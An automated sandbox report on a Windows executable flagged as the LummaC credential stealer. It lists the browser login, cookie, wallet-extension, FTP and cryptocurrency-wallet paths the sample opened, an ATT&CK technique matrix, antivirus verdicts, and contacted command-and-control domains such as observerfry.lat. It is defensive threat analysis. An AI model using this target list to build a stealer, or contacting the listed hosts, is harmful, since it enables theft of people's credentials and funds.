Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match

File source: Process Memory Space: wIgjKoo9iI.exe PID: 6392, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: wIgjKoo9iI.exe PID: 6392, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	851 Security Software Discovery	Remote Services	4 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	223 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
wIgjKoo9iI.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
wIgjKoo9iI.exe	100%	Avira	TR/Crypt.TPM.Gen
wIgjKoo9iI.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://observerfry.lat/mA	100%	Avira URL Cloud	malware
https://observerfry.lat/apiime	100%	Avira URL Cloud	malware
https://observerfry.lat/apiiceq5	100%	Avira URL Cloud	malware
https://observerfry.lat/hV#	100%	Avira URL Cloud	malware
https://observerfry.lat/apit	100%	Avira URL Cloud	malware
https://observerfry.lat/(Vc	100%	Avira URL Cloud	malware
https://observerfry.lat/%	100%	Avira URL Cloud	malware
https://observerfry.lat/0Vk	100%	Avira URL Cloud	malware
https://observerfry.lat/Ws	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
observerfry.lat	104.21.36.201	true	false		high

Contacted URLs

Name	Malicious	Reputation
wordyfindy.lat	false	high
curverpluch.lat	false	high
slipperyloo.lat	false	high
tentabatte.lat	false	high
https://observerfry.lat/api	false	high
manyrestro.lat	false	high
shapestickyr.lat	false	high
talkynicer.lat	false	high
bashfulacid.lat	false	high
observerfry.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	wIgjKoo9iI.exe, 00000000.00000003.2206500352.0000000005168000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apiime	wIgjKoo9iI.exe, 00000000.00000003.2181367907.000000000516E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://observerfry.lat/pi	wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306532822.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2270646307.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	wIgjKoo9iI.exe, 00000000.00000003.2228230125.0000000005161000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2206500352.0000000005168000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apiiceq5	wIgjKoo9iI.exe, 00000000.00000003.2206447532.0000000000ADF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://observerfry.lat/mA	wIgjKoo9iI.exe, 00000000.00000003.2228362688.0000000005169000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2206500352.0000000005168000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2204524225.0000000005168000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2231490804.0000000005169000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	wIgjKoo9iI.exe, 00000000.00000003.2157396077.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157462685.00000000051AB000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2157344507.00000000051AE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	wIgjKoo9iI.exe, 00000000.00000003.2205014314.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/hV#	wIgjKoo9iI.exe, 00000000.00000002.2316070880.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306532822.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2270646307.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
